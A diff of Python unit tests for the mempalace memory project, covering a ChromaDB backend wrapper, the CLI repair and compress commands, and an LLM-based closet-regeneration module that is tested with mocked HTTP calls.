def test_chroma_collection_delegates_methods():
def test_chroma_collection_returns_typed_query_result():
fake = _FakeCollection()
collection = ChromaCollection(fake)
result = collection.query(query_texts=["q"])
assert isinstance(result, QueryResult)
assert result.ids == [["a", "b"]]
assert result.documents == [["da", "db"]]
assert result.metadatas == [[{"wing": "w1"}, {"wing": "w2"}]]
assert result.distances == [[0.1, 0.2]]
assert result.embeddings is None
def test_chroma_collection_returns_typed_get_result():
fake = _FakeCollection()
collection = ChromaCollection(fake)
result = collection.get(where={"wing": "w1"})
assert isinstance(result, GetResult)
assert result.ids == ["a"]
assert result.documents == ["da"]
assert result.metadatas == [{"wing": "w1"}]
def test_query_result_empty_preserves_outer_dimension():
empty = QueryResult.empty(num_queries=2)
assert empty.ids == [[], []]
assert empty.documents == [[], []]
assert empty.distances == [[], []]
assert empty.embeddings is None
def test_typed_results_support_dict_compat_access():
"""Transitional compat shim per base.py — retained until callers migrate to attrs."""
result = GetResult(ids=["a"], documents=["da"], metadatas=[{"w": 1}])
assert result["ids"] == ["a"]
assert result.get("documents") == ["da"]
assert result.get("missing", "default") == "default"
assert "ids" in result
assert "missing" not in result
def test_chroma_collection_query_empty_result_preserves_outer_shape():
fake = _FakeCollection(
query_response={"ids": [], "documents": [], "metadatas": [], "distances": []}
)
collection = ChromaCollection(fake)
result = collection.query(query_texts=["q1", "q2"])
assert result.ids == [[], []]
assert result.documents == [[], []]
assert result.distances == [[], []]
def test_chroma_collection_rejects_unknown_where_operator():
fake = _FakeCollection()
collection = ChromaCollection(fake)
with pytest.raises(UnsupportedFilterError):
collection.query(query_texts=["q"], where={"$regex": "foo"})
def test_chroma_collection_delegates_writes():
fake = _FakeCollection()
collection = ChromaCollection(fake)
collection.add(documents=["d"], ids=["1"], metadatas=[{"wing": "w"}])
collection.upsert(documents=["u"], ids=["2"], metadatas=[{"room": "r"}])
assert collection.query(query_texts=["q"]) == {"kind": "query"}
assert collection.get(where={"wing": "w"}) == {"kind": "get"}
collection.delete(ids=["1"])
assert collection.count() == 7
assert fake.calls == [
("add", {"documents": ["d"], "ids": ["1"], "metadatas": [{"wing": "w"}]}),
("upsert", {"documents": ["u"], "ids": ["2"], "metadatas": [{"room": "r"}]}),
("query", {"query_texts": ["q"]}),
("get", {"where": {"wing": "w"}}),
("delete", {"ids": ["1"]}),
("count", {}),
]
kinds = [call[0] for call in fake.calls]
assert kinds == ["add", "upsert", "delete", "count"]
def test_registry_exposes_chroma_by_default():
names = available_backends()
assert "chroma" in names
assert isinstance(get_backend("chroma"), ChromaBackend)
def test_registry_unknown_backend_raises():
with pytest.raises(KeyError):
get_backend("no-such-backend-exists")
def test_resolve_backend_priority_order(tmp_path):
from mempalace.backends import resolve_backend_for_palace
# explicit kwarg wins over everything
assert resolve_backend_for_palace(explicit="pg", config_value="lance") == "pg"
# config value wins over env / default
assert resolve_backend_for_palace(config_value="lance", env_value="qdrant") == "lance"
# env wins over default
assert resolve_backend_for_palace(env_value="qdrant", default="chroma") == "qdrant"
# falls back to default
assert resolve_backend_for_palace() == "chroma"
def test_chroma_detect_matches_palace_with_chroma_sqlite(tmp_path):
(tmp_path / "chroma.sqlite3").write_bytes(b"")
assert ChromaBackend.detect(str(tmp_path)) is True
assert ChromaBackend.detect(str(tmp_path.parent)) is False
def test_query_rejects_missing_input():
fake = _FakeCollection()
collection = ChromaCollection(fake)
with pytest.raises(ValueError):
collection.query()
def test_query_rejects_both_texts_and_embeddings():
fake = _FakeCollection()
collection = ChromaCollection(fake)
with pytest.raises(ValueError):
collection.query(query_texts=["q"], query_embeddings=[[0.1, 0.2]])
def test_query_rejects_empty_input_list():
fake = _FakeCollection()
collection = ChromaCollection(fake)
with pytest.raises(ValueError):
collection.query(query_texts=[])
def test_query_empty_preserves_embeddings_outer_shape_when_requested():
fake = _FakeCollection(
query_response={"ids": [], "documents": [], "metadatas": [], "distances": []}
)
collection = ChromaCollection(fake)
requested = collection.query(query_texts=["q1", "q2"], include=["documents", "embeddings"])
assert requested.embeddings == [[], []]
not_requested = collection.query(query_texts=["q1", "q2"], include=["documents"])
assert not_requested.embeddings is None
def test_chroma_cache_invalidates_when_db_file_missing(tmp_path):
"""A palace rebuild that removes chroma.sqlite3 must drop the stale cache.
Primes backend._clients/_freshness directly with a sentinel rather than
opening a real ``PersistentClient``: on Windows the sqlite file handle
would still be live and ``Path.unlink`` would raise ``PermissionError``,
making the test unable to exercise the branch we care about. The decision
logic under test is pure (no chromadb calls before the branch), so a
sentinel is sufficient.
"""
backend = ChromaBackend()
palace_path = tmp_path / "palace"
palace_path.mkdir()
db_file = palace_path / "chroma.sqlite3"
db_file.write_bytes(b"") # any file is enough for _db_stat to see it
st = db_file.stat()
sentinel = object()
backend._clients[str(palace_path)] = sentinel
backend._freshness[str(palace_path)] = (st.st_ino, st.st_mtime)
# Simulate a rebuild mid-flight: chroma.sqlite3 goes away. Safe to unlink
# because nothing in this test is holding an OS handle on the file.
db_file.unlink()
prior_freshness = (st.st_ino, st.st_mtime)
new_client = backend._client(str(palace_path))
# Cache was replaced (not the sentinel) and freshness reflects the post-
# rebuild stat (chromadb re-creates chroma.sqlite3 during PersistentClient
# construction; _client re-stats after the constructor so freshness is
# not frozen at the pre-rebuild value). The stale cached sentinel would
# have served wrong data if returned.
assert new_client is not sentinel
assert backend._freshness[str(palace_path)] != prior_freshness
def test_chroma_cache_picks_up_db_created_after_first_open(tmp_path):
"""The 0 → nonzero stat transition invalidates a cache built before the DB existed."""
backend = ChromaBackend()
palace_path = tmp_path / "palace"
palace_path.mkdir()
# Seed an entry in the caches as if a prior _client() call had opened the
# palace when chroma.sqlite3 did not exist yet. Freshness (0, 0.0) is the
# signal that the DB was absent at cache time.
sentinel = object()
backend._clients[str(palace_path)] = sentinel
backend._freshness[str(palace_path)] = (0, 0.0)
# The DB file now appears (real chromadb would have created it by now).
# Use a real chromadb call so _fix_blob_seq_ids and PersistentClient succeed.
import chromadb as _chromadb
_chromadb.PersistentClient(path=str(palace_path)).get_or_create_collection("seed")
assert (palace_path / "chroma.sqlite3").is_file()
# Next _client() call must detect the 0 → nonzero transition and rebuild.
refreshed = backend._client(str(palace_path))
assert refreshed is not sentinel
assert backend._freshness[str(palace_path)] != (0, 0.0)
def test_base_collection_update_default_rejects_mismatched_lengths():
"""The ABC default update() raises ValueError rather than silently misaligning."""
from mempalace.backends.base import BaseCollection
collection = ChromaCollection(_FakeCollection())
with pytest.raises(ValueError, match="documents length"):
BaseCollection.update(collection, ids=["1", "2"], documents=["only-one"])
with pytest.raises(ValueError, match="metadatas length"):
BaseCollection.update(collection, ids=["1", "2"], metadatas=[{"k": 9}])
def test_chroma_backend_accepts_palace_ref_kwarg(tmp_path):
palace_path = tmp_path / "palace"
backend = ChromaBackend()
collection = backend.get_collection(
palace=PalaceRef(id=str(palace_path), local_path=str(palace_path)),
collection_name="mempalace_drawers",
create=True,
)
assert palace_path.is_dir()
assert isinstance(collection, ChromaCollection)
def test_chroma_backend_create_false_raises_without_creating_directory(tmp_path):
@@ -82,6 +320,20 @@ def test_chroma_backend_create_true_creates_directory_and_collection(tmp_path):
client.get_collection("mempalace_drawers")
def test_chroma_backend_creates_collection_with_cosine_distance(tmp_path):
palace_path = tmp_path / "palace"
ChromaBackend().get_collection(
str(palace_path),
collection_name="mempalace_drawers",
create=True,
)
client = chromadb.PersistentClient(path=str(palace_path))
col = client.get_collection("mempalace_drawers")
assert col.metadata.get("hnsw:space") == "cosine"
def test_fix_blob_seq_ids_converts_blobs_to_integers(tmp_path):
"""Simulate a ChromaDB 0.6.x database with BLOB seq_ids and verify repair."""
db_path = tmp_path / "chroma.sqlite3"
@@ -126,3 +378,68 @@ def test_fix_blob_seq_ids_noop_without_blobs(tmp_path):
def test_fix_blob_seq_ids_noop_without_database(tmp_path):
"""No error when palace has no chroma.sqlite3."""
_fix_blob_seq_ids(str(tmp_path)) # should not raise
# ── quarantine_stale_hnsw ─────────────────────────────────────────────────
def _make_palace_with_segment(tmp_path, hnsw_mtime, sqlite_mtime):
"""Helper: build a palace dir with one HNSW segment + sqlite at given mtimes."""
palace = tmp_path / "palace"
palace.mkdir()
(palace / "chroma.sqlite3").write_text("")
seg = palace / "abcd-1234-5678"
seg.mkdir()
(seg / "data_level0.bin").write_text("")
os.utime(seg / "data_level0.bin", (hnsw_mtime, hnsw_mtime))
os.utime(palace / "chroma.sqlite3", (sqlite_mtime, sqlite_mtime))
return palace, seg
def test_quarantine_stale_hnsw_renames_drifted_segment(tmp_path):
"""Segment whose data_level0.bin is 2h older than sqlite gets renamed."""
now = 1_700_000_000.0
palace, seg = _make_palace_with_segment(tmp_path, hnsw_mtime=now - 7200, sqlite_mtime=now)
moved = quarantine_stale_hnsw(str(palace), stale_seconds=3600.0)
assert len(moved) == 1
assert ".drift-" in moved[0]
assert not seg.exists()
# the renamed directory still exists and contains the original file
renamed = list(palace.iterdir())
drift_dirs = [p for p in renamed if ".drift-" in p.name]
assert len(drift_dirs) == 1
assert (drift_dirs[0] / "data_level0.bin").exists()
def test_quarantine_stale_hnsw_leaves_fresh_segment_alone(tmp_path):
"""Segment with recent mtime vs sqlite is not touched."""
now = 1_700_000_000.0
palace, seg = _make_palace_with_segment(tmp_path, hnsw_mtime=now - 10, sqlite_mtime=now)
moved = quarantine_stale_hnsw(str(palace), stale_seconds=3600.0)
assert moved == []
assert seg.exists()
def test_quarantine_stale_hnsw_no_palace(tmp_path):
"""Missing palace path or chroma.sqlite3: return [] without raising."""
assert quarantine_stale_hnsw(str(tmp_path / "missing")) == []
empty = tmp_path / "empty"
empty.mkdir()
assert quarantine_stale_hnsw(str(empty)) == []
def test_quarantine_stale_hnsw_skips_already_quarantined(tmp_path):
"""Directories already named with ``.drift-`` suffix are never re-renamed."""
now = 1_700_000_000.0
palace = tmp_path / "palace"
palace.mkdir()
(palace / "chroma.sqlite3").write_text("")
os.utime(palace / "chroma.sqlite3", (now, now))
drift = palace / "abcd-1234.drift-20260101-000000"
drift.mkdir()
(drift / "data_level0.bin").write_text("")
os.utime(drift / "data_level0.bin", (now - 99999, now - 99999))
moved = quarantine_stale_hnsw(str(palace), stale_seconds=3600.0)
assert moved == []
assert drift.exists()
+41 -65
View File
@@ -412,12 +412,21 @@ def test_main_compress_dispatches():
# ── cmd_repair ─────────────────────────────────────────────────────────
def _mock_backend_for(col=None, new_col=None):
"""Build a mock ChromaBackend whose get_collection/create_collection return *col* / *new_col*."""
mock_backend = MagicMock()
if col is not None:
mock_backend.get_collection.return_value = col
if new_col is not None:
mock_backend.create_collection.return_value = new_col
return mock_backend
@patch("mempalace.cli.MempalaceConfig")
def test_cmd_repair_no_palace(mock_config_cls, tmp_path, capsys):
mock_config_cls.return_value.palace_path = str(tmp_path / "nonexistent")
args = argparse.Namespace(palace=None)
mock_chromadb = MagicMock()
with patch.dict("sys.modules", {"chromadb": mock_chromadb}):
with patch("mempalace.backends.chroma.ChromaBackend"):
cmd_repair(args)
out = capsys.readouterr().out
assert "No palace found" in out
@@ -429,8 +438,7 @@ def test_cmd_repair_requires_palace_database(mock_config_cls, tmp_path, capsys):
palace_dir.mkdir()
mock_config_cls.return_value.palace_path = str(palace_dir)
args = argparse.Namespace(palace=None)
mock_chromadb = MagicMock()
with patch.dict("sys.modules", {"chromadb": mock_chromadb}):
with patch("mempalace.backends.chroma.ChromaBackend"):
cmd_repair(args)
out = capsys.readouterr().out
assert "No palace database found" in out
@@ -443,11 +451,9 @@ def test_cmd_repair_error_reading(mock_config_cls, tmp_path, capsys):
(palace_dir / "chroma.sqlite3").write_text("db")
mock_config_cls.return_value.palace_path = str(palace_dir)
args = argparse.Namespace(palace=None)
mock_chromadb = MagicMock()
mock_client = MagicMock()
mock_client.get_collection.side_effect = Exception("corrupt db")
mock_chromadb.PersistentClient.return_value = mock_client
with patch.dict("sys.modules", {"chromadb": mock_chromadb}):
mock_backend = MagicMock()
mock_backend.get_collection.side_effect = Exception("corrupt db")
with patch("mempalace.backends.chroma.ChromaBackend", return_value=mock_backend):
cmd_repair(args)
out = capsys.readouterr().out
assert "Error reading palace" in out
@@ -460,13 +466,10 @@ def test_cmd_repair_zero_drawers(mock_config_cls, tmp_path, capsys):
(palace_dir / "chroma.sqlite3").write_text("db")
mock_config_cls.return_value.palace_path = str(palace_dir)
args = argparse.Namespace(palace=None)
mock_chromadb = MagicMock()
mock_col = MagicMock()
mock_col.count.return_value = 0
mock_client = MagicMock()
mock_client.get_collection.return_value = mock_col
mock_chromadb.PersistentClient.return_value = mock_client
with patch.dict("sys.modules", {"chromadb": mock_chromadb}):
mock_backend = _mock_backend_for(col=mock_col)
with patch("mempalace.backends.chroma.ChromaBackend", return_value=mock_backend):
cmd_repair(args)
out = capsys.readouterr().out
assert "Nothing to repair" in out
@@ -479,7 +482,6 @@ def test_cmd_repair_success(mock_config_cls, tmp_path, capsys):
(palace_dir / "chroma.sqlite3").write_text("db")
mock_config_cls.return_value.palace_path = str(palace_dir)
args = argparse.Namespace(palace=None, yes=True)
mock_chromadb = MagicMock()
mock_col = MagicMock()
mock_col.count.return_value = 2
mock_col.get.return_value = {
@@ -487,12 +489,9 @@ def test_cmd_repair_success(mock_config_cls, tmp_path, capsys):
"documents": ["doc1", "doc2"],
"metadatas": [{"wing": "a"}, {"wing": "b"}],
}
mock_client = MagicMock()
mock_client.get_collection.return_value = mock_col
mock_new_col = MagicMock()
mock_client.create_collection.return_value = mock_new_col
mock_chromadb.PersistentClient.return_value = mock_client
with patch.dict("sys.modules", {"chromadb": mock_chromadb}):
mock_backend = _mock_backend_for(col=mock_col, new_col=mock_new_col)
with patch("mempalace.backends.chroma.ChromaBackend", return_value=mock_backend):
cmd_repair(args)
out = capsys.readouterr().out
assert "Repair complete" in out
@@ -506,20 +505,17 @@ def test_cmd_repair_aborts_without_confirmation(mock_config_cls, tmp_path, capsy
(palace_dir / "chroma.sqlite3").write_text("db")
mock_config_cls.return_value.palace_path = str(palace_dir)
args = argparse.Namespace(palace=None)
mock_chromadb = MagicMock()
mock_col = MagicMock()
mock_col.count.return_value = 1
mock_client = MagicMock()
mock_client.get_collection.return_value = mock_col
mock_chromadb.PersistentClient.return_value = mock_client
mock_backend = _mock_backend_for(col=mock_col)
with (
patch.dict("sys.modules", {"chromadb": mock_chromadb}),
patch("mempalace.backends.chroma.ChromaBackend", return_value=mock_backend),
patch("builtins.input", return_value="n"),
):
cmd_repair(args)
out = capsys.readouterr().out
assert "Aborted." in out
mock_client.create_collection.assert_not_called()
mock_backend.create_collection.assert_not_called()
# ── cmd_compress ───────────────────────────────────────────────────────
@@ -529,10 +525,10 @@ def test_cmd_repair_aborts_without_confirmation(mock_config_cls, tmp_path, capsy
def test_cmd_compress_no_palace(mock_config_cls, capsys):
mock_config_cls.return_value.palace_path = "/fake/palace"
args = argparse.Namespace(palace=None, wing=None, dry_run=False, config=None)
mock_chromadb = MagicMock()
mock_chromadb.PersistentClient.side_effect = Exception("no palace")
mock_backend = MagicMock()
mock_backend.get_collection.side_effect = Exception("no palace")
with (
patch.dict("sys.modules", {"chromadb": mock_chromadb}),
patch("mempalace.backends.chroma.ChromaBackend", return_value=mock_backend),
pytest.raises(SystemExit),
):
cmd_compress(args)
@@ -542,13 +538,10 @@ def test_cmd_compress_no_palace(mock_config_cls, capsys):
def test_cmd_compress_no_drawers(mock_config_cls, capsys):
mock_config_cls.return_value.palace_path = "/fake/palace"
args = argparse.Namespace(palace=None, wing="mywing", dry_run=False, config=None)
mock_chromadb = MagicMock()
mock_col = MagicMock()
mock_col.get.return_value = {"documents": [], "metadatas": [], "ids": []}
mock_client = MagicMock()
mock_client.get_collection.return_value = mock_col
mock_chromadb.PersistentClient.return_value = mock_client
with patch.dict("sys.modules", {"chromadb": mock_chromadb}):
mock_backend = _mock_backend_for(col=mock_col)
with patch("mempalace.backends.chroma.ChromaBackend", return_value=mock_backend):
cmd_compress(args)
out = capsys.readouterr().out
assert "No drawers found" in out
@@ -567,7 +560,6 @@ def _make_mock_dialect_module(dialect_instance):
def test_cmd_compress_dry_run(mock_config_cls, capsys):
mock_config_cls.return_value.palace_path = "/fake/palace"
args = argparse.Namespace(palace=None, wing=None, dry_run=True, config=None)
mock_chromadb = MagicMock()
mock_col = MagicMock()
mock_col.get.side_effect = [
{
@@ -577,9 +569,7 @@ def test_cmd_compress_dry_run(mock_config_cls, capsys):
},
{"documents": [], "metadatas": [], "ids": []},
]
mock_client = MagicMock()
mock_client.get_collection.return_value = mock_col
mock_chromadb.PersistentClient.return_value = mock_client
mock_backend = _mock_backend_for(col=mock_col)
mock_dialect = MagicMock()
mock_dialect.compress.return_value = "compressed"
@@ -593,12 +583,9 @@ def test_cmd_compress_dry_run(mock_config_cls, capsys):
}
mock_dialect_mod = _make_mock_dialect_module(mock_dialect)
with patch.dict(
"sys.modules",
{
"chromadb": mock_chromadb,
"mempalace.dialect": mock_dialect_mod,
},
with (
patch("mempalace.backends.chroma.ChromaBackend", return_value=mock_backend),
patch.dict("sys.modules", {"mempalace.dialect": mock_dialect_mod}),
):
cmd_compress(args)
out = capsys.readouterr().out
@@ -613,22 +600,16 @@ def test_cmd_compress_with_config(mock_config_cls, tmp_path, capsys):
config_file = tmp_path / "entities.json"
config_file.write_text('{"people": [], "projects": []}')
args = argparse.Namespace(palace=None, wing=None, dry_run=True, config=str(config_file))
mock_chromadb = MagicMock()
mock_col = MagicMock()
mock_col.get.return_value = {"documents": [], "metadatas": [], "ids": []}
mock_client = MagicMock()
mock_client.get_collection.return_value = mock_col
mock_chromadb.PersistentClient.return_value = mock_client
mock_backend = _mock_backend_for(col=mock_col)
mock_dialect = MagicMock()
mock_dialect_mod = _make_mock_dialect_module(mock_dialect)
with patch.dict(
"sys.modules",
{
"chromadb": mock_chromadb,
"mempalace.dialect": mock_dialect_mod,
},
with (
patch("mempalace.backends.chroma.ChromaBackend", return_value=mock_backend),
patch.dict("sys.modules", {"mempalace.dialect": mock_dialect_mod}),
):
cmd_compress(args)
out = capsys.readouterr().out
@@ -640,7 +621,6 @@ def test_cmd_compress_stores_results(mock_config_cls, capsys):
"""Non-dry-run compress stores to mempalace_compressed collection."""
mock_config_cls.return_value.palace_path = "/fake/palace"
args = argparse.Namespace(palace=None, wing=None, dry_run=False, config=None)
mock_chromadb = MagicMock()
mock_col = MagicMock()
mock_col.get.side_effect = [
{
@@ -650,11 +630,10 @@ def test_cmd_compress_stores_results(mock_config_cls, capsys):
},
{"documents": [], "metadatas": [], "ids": []},
]
mock_client = MagicMock()
mock_client.get_collection.return_value = mock_col
mock_comp_col = MagicMock()
mock_client.get_or_create_collection.return_value = mock_comp_col
mock_chromadb.PersistentClient.return_value = mock_client
mock_backend = MagicMock()
mock_backend.get_collection.return_value = mock_col
mock_backend.get_or_create_collection.return_value = mock_comp_col
mock_dialect = MagicMock()
mock_dialect.compress.return_value = "compressed"
@@ -668,12 +647,9 @@ def test_cmd_compress_stores_results(mock_config_cls, capsys):
}
mock_dialect_mod = _make_mock_dialect_module(mock_dialect)
with patch.dict(
"sys.modules",
{
"chromadb": mock_chromadb,
"mempalace.dialect": mock_dialect_mod,
},
with (
patch("mempalace.backends.chroma.ChromaBackend", return_value=mock_backend),
patch.dict("sys.modules", {"mempalace.dialect": mock_dialect_mod}),
):
cmd_compress(args)
out = capsys.readouterr().out
+339
View File
@@ -0,0 +1,339 @@
"""Unit tests for the optional LLM-based closet regeneration.
These tests don't hit the network. They mock urllib to verify:
- LLMConfig correctly reads env vars and CLI overrides
- missing config is reported cleanly
- the OpenAI-compatible request shape is correct
- response parsing handles the standard chat-completions payload
"""
import json
import tempfile
from unittest.mock import patch
from mempalace.closet_llm import (
LLMConfig,
_call_llm,
_parsed_to_closet_lines,
regenerate_closets,
)
# ── LLMConfig ─────────────────────────────────────────────────────────────
class TestLLMConfig:
def test_reads_env_vars(self, monkeypatch):
monkeypatch.setenv("LLM_ENDPOINT", "http://localhost:11434/v1")
monkeypatch.setenv("LLM_KEY", "sk-abc")
monkeypatch.setenv("LLM_MODEL", "llama3:8b")
c = LLMConfig()
assert c.endpoint == "http://localhost:11434/v1"
assert c.key == "sk-abc"
assert c.model == "llama3:8b"
def test_cli_flags_override_env(self, monkeypatch):
monkeypatch.setenv("LLM_ENDPOINT", "http://env-endpoint/v1")
monkeypatch.setenv("LLM_MODEL", "env-model")
c = LLMConfig(endpoint="http://flag-endpoint/v1", model="flag-model")
assert c.endpoint == "http://flag-endpoint/v1"
assert c.model == "flag-model"
def test_trailing_slash_stripped(self):
c = LLMConfig(endpoint="http://foo/v1/", model="m")
assert c.endpoint == "http://foo/v1"
def test_missing_reports_required(self, monkeypatch):
monkeypatch.delenv("LLM_ENDPOINT", raising=False)
monkeypatch.delenv("LLM_KEY", raising=False)
monkeypatch.delenv("LLM_MODEL", raising=False)
c = LLMConfig()
missing = c.missing()
assert any("ENDPOINT" in m for m in missing)
assert any("MODEL" in m for m in missing)
# key is optional
assert not any("KEY" in m for m in missing)
def test_key_is_optional(self, monkeypatch):
monkeypatch.delenv("LLM_KEY", raising=False)
c = LLMConfig(endpoint="http://local/v1", model="m")
assert c.missing() == []
# ── _parsed_to_closet_lines ──────────────────────────────────────────────
class TestParsedToLines:
def test_topics_become_pointers(self):
parsed = {"topics": ["authentication", "jwt tokens"], "quotes": [], "summary": ""}
lines = _parsed_to_closet_lines(parsed, ["d1", "d2"], "Alice;Bob")
assert len(lines) == 2
assert "authentication|Alice;Bob|→d1,d2" in lines
assert "jwt tokens|Alice;Bob|→d1,d2" in lines
def test_quotes_and_summary_included(self):
parsed = {
"topics": ["t1"],
"quotes": ["[Igor] we ship Friday"],
"summary": "Release planning discussion",
}
lines = _parsed_to_closet_lines(parsed, ["d1"], "")
joined = "\n".join(lines)
assert "we ship Friday" in joined
assert "Release planning discussion" in joined
def test_caps_topics_at_15(self):
parsed = {"topics": [f"t{i}" for i in range(20)], "quotes": [], "summary": ""}
lines = _parsed_to_closet_lines(parsed, ["d1"], "")
assert len(lines) == 15
# ── _call_llm (HTTP mocked) ──────────────────────────────────────────────
class _FakeResp:
"""Mimics urlopen's context-manager response."""
def __init__(self, payload: dict, status: int = 200):
self._body = json.dumps(payload).encode("utf-8")
self.status = status
def __enter__(self):
return self
def __exit__(self, *a):
return False
def read(self):
return self._body
class TestCallLLM:
def _make_cfg(self):
return LLMConfig(endpoint="http://localhost:11434/v1", key="sk-test", model="llama3:8b")
def test_request_shape_and_parsing(self):
cfg = self._make_cfg()
captured = {}
def fake_urlopen(req, timeout=None):
captured["url"] = req.full_url
captured["headers"] = dict(req.header_items())
captured["body"] = json.loads(req.data.decode("utf-8"))
return _FakeResp(
{
"choices": [
{
"message": {
"content": json.dumps(
{
"topics": ["postgres"],
"quotes": ["[Igor] migrate now"],
"summary": "db migration",
}
)
}
}
],
"usage": {"prompt_tokens": 42, "completion_tokens": 17},
}
)
with patch("urllib.request.urlopen", side_effect=fake_urlopen):
parsed, usage = _call_llm(cfg, "/tmp/test.md", "w", "r", "content body")
assert parsed["topics"] == ["postgres"]
assert usage["prompt_tokens"] == 42
assert captured["url"] == "http://localhost:11434/v1/chat/completions"
# Authorization header is stored capitalized-then-lowercase depending on urllib version
auth_vals = {v for k, v in captured["headers"].items() if k.lower() == "authorization"}
assert "Bearer sk-test" in auth_vals
assert captured["body"]["model"] == "llama3:8b"
assert captured["body"]["messages"][0]["role"] == "user"
def test_omits_auth_header_when_no_key(self):
cfg = LLMConfig(endpoint="http://localhost:11434/v1", model="llama3:8b")
captured_headers = {}
def fake_urlopen(req, timeout=None):
captured_headers.update({k.lower(): v for k, v in req.header_items()})
return _FakeResp(
{
"choices": [{"message": {"content": '{"topics":[],"quotes":[],"summary":""}'}}],
"usage": {"prompt_tokens": 0, "completion_tokens": 0},
}
)
with patch("urllib.request.urlopen", side_effect=fake_urlopen):
_call_llm(cfg, "/tmp/x", "w", "r", "c")
assert "authorization" not in captured_headers
def test_strips_code_fences(self):
cfg = self._make_cfg()
fenced = '```json\n{"topics":["t1"],"quotes":[],"summary":""}\n```'
def fake_urlopen(req, timeout=None):
return _FakeResp(
{
"choices": [{"message": {"content": fenced}}],
"usage": {"prompt_tokens": 1, "completion_tokens": 1},
}
)
with patch("urllib.request.urlopen", side_effect=fake_urlopen):
parsed, _ = _call_llm(cfg, "/tmp/x", "w", "r", "c")
assert parsed == {"topics": ["t1"], "quotes": [], "summary": ""}
def test_returns_none_on_invalid_json(self):
cfg = self._make_cfg()
def fake_urlopen(req, timeout=None):
return _FakeResp(
{
"choices": [{"message": {"content": "not json at all"}}],
"usage": {"prompt_tokens": 1, "completion_tokens": 1},
}
)
with patch("urllib.request.urlopen", side_effect=fake_urlopen):
parsed, usage = _call_llm(cfg, "/tmp/x", "w", "r", "c")
assert parsed is None
# ── regenerate_closets error paths ───────────────────────────────────────
class TestRegenerateClosets:
def test_missing_config_returns_error(self, monkeypatch):
monkeypatch.delenv("LLM_ENDPOINT", raising=False)
monkeypatch.delenv("LLM_MODEL", raising=False)
with tempfile.TemporaryDirectory() as palace:
result = regenerate_closets(palace)
assert result["error"] == "missing-config"
assert any("ENDPOINT" in m for m in result["missing"])
def test_regen_purges_regex_closets_and_stamps_normalize_version(self, tmp_path):
"""Regression: before the hardening, regex closets for the same
source survived alongside fresh LLM closets (the old path used a
bare ``closets_col.delete(ids=...)`` with a swallowed exception).
Now we go through ``purge_file_closets`` + ``mine_lock`` + stamp
``NORMALIZE_VERSION`` so the next mine's stale-version gate doesn't
treat the LLM closets as leftovers to rebuild over."""
from mempalace.palace import (
NORMALIZE_VERSION,
get_closets_collection,
get_collection,
upsert_closet_lines,
)
palace = str(tmp_path / "palace")
# Seed one drawer and a pre-existing regex closet for the same source.
source = "/proj/story.md"
drawers = get_collection(palace, create=True)
drawers.upsert(
ids=["drawer_01"],
documents=["Content about JWT authentication."],
metadatas=[
{
"wing": "project",
"room": "auth",
"source_file": source,
"entities": "",
}
],
)
closets = get_closets_collection(palace)
upsert_closet_lines(
closets,
closet_id_base="closet_old_regex",
lines=["STALE_REGEX_TOPIC|;|→drawer_01"],
metadata={
"wing": "project",
"room": "auth",
"source_file": source,
"generated_by": "regex",
},
)
cfg = LLMConfig(endpoint="http://local/v1", model="llama3:8b")
def fake_urlopen(req, timeout=None):
return _FakeResp(
{
"choices": [
{
"message": {
"content": json.dumps(
{
"topics": ["jwt auth", "session expiry"],
"quotes": [],
"summary": "auth refactor",
}
)
}
}
],
"usage": {"prompt_tokens": 10, "completion_tokens": 5},
}
)
with patch("urllib.request.urlopen", side_effect=fake_urlopen):
result = regenerate_closets(palace, cfg=cfg)
assert result["processed"] == 1 and result["failed"] == 0
# Every surviving closet for this source must be LLM-generated and
# must carry the current NORMALIZE_VERSION.
survivors = closets.get(where={"source_file": source}, include=["documents", "metadatas"])
assert survivors["ids"], "LLM closets should have been written"
joined = "\n".join(survivors["documents"])
assert (
"STALE_REGEX_TOPIC" not in joined
), "pre-existing regex closet was not purged before LLM write"
assert "jwt auth" in joined
for meta in survivors["metadatas"]:
assert meta.get("generated_by", "").startswith("llm:")
assert meta.get("normalize_version") == NORMALIZE_VERSION
def test_regen_uses_basename_not_split_slash(self, tmp_path, monkeypatch):
"""Regression: the old closet_id base used ``source.split('/')[-1]``
which silently degrades on Windows paths (``C:\\proj\\a.md`` →
the whole string). ``os.path.basename`` handles both separators."""
from mempalace.palace import get_collection, get_closets_collection
palace = str(tmp_path / "palace")
# Use a path whose basename differs between '/' split and
# os.path.basename only on a platform-aware function, but verify
# at minimum that IDs encode just the filename, not the full path.
source = "/deep/nested/project/dir/mydoc.md"
drawers = get_collection(palace, create=True)
drawers.upsert(
ids=["d1"],
documents=["body"],
metadatas=[{"wing": "w", "room": "r", "source_file": source, "entities": ""}],
)
cfg = LLMConfig(endpoint="http://local/v1", model="m")
def fake_urlopen(req, timeout=None):
return _FakeResp(
{
"choices": [
{"message": {"content": '{"topics":["t1"],"quotes":[],"summary":""}'}}
],
"usage": {"prompt_tokens": 1, "completion_tokens": 1},
}
)
with patch("urllib.request.urlopen", side_effect=fake_urlopen):
regenerate_closets(palace, cfg=cfg)
closets = get_closets_collection(palace)
ids = closets.get(where={"source_file": source}).get("ids", [])
assert ids
# IDs must not leak the full path (would happen if we used
# source.split('/')[-1] on Windows, or forgot to strip entirely).
for cid in ids:
assert "/" not in cid
assert "mydoc.md" in cid
+974
View File
@@ -0,0 +1,974 @@
"""
test_closets.py — Tests for the closet (searchable index) layer and the
features that ride on top of it: mine_lock serialization, entity metadata,
hybrid BM25+vector search, and diary ingest.
Coverage map:
* mine_lock — acquire/release, blocks concurrent acquisition.
* build_closet_lines — pointer-line shape, header pickup, entity stoplist
(regression for "When/After/The"), real-name survival, fallback line.
* upsert_closet_lines — pure overwrite (regression for the append bug),
char-limit packing without splitting a line.
* purge_file_closets — scoped to source_file.
* Project-miner end-to-end rebuild — re-mining with fewer topics fully
purges leftover numbered closets from a larger prior run.
* _extract_drawer_ids_from_closet — pointer parsing + dedup.
* search_memories hybrid path — drawer query always the floor,
closets boost matching source_file, matched_via reflects both signals,
no whole-file glue, max_distance enforcement.
* Entity metadata — extracted, stoplist applied, registry cached by mtime.
* Real BM25 — real IDF over candidate corpus, hybrid rerank.
* Diary ingest — drawers + closets created, incremental skips, state
file lives outside the diary dir, wing-prefixed drawer IDs prevent
cross-diary collisions, force=True purges leftover closets.
"""
import json
import multiprocessing
import os
import tempfile
import threading
import time
import yaml
from mempalace.miner import (
_extract_entities_for_metadata,
_load_known_entities,
mine,
)
from mempalace.palace import (
CLOSET_CHAR_LIMIT,
build_closet_lines,
get_closets_collection,
get_collection,
mine_lock,
purge_file_closets,
upsert_closet_lines,
)
from mempalace.palace_graph import (
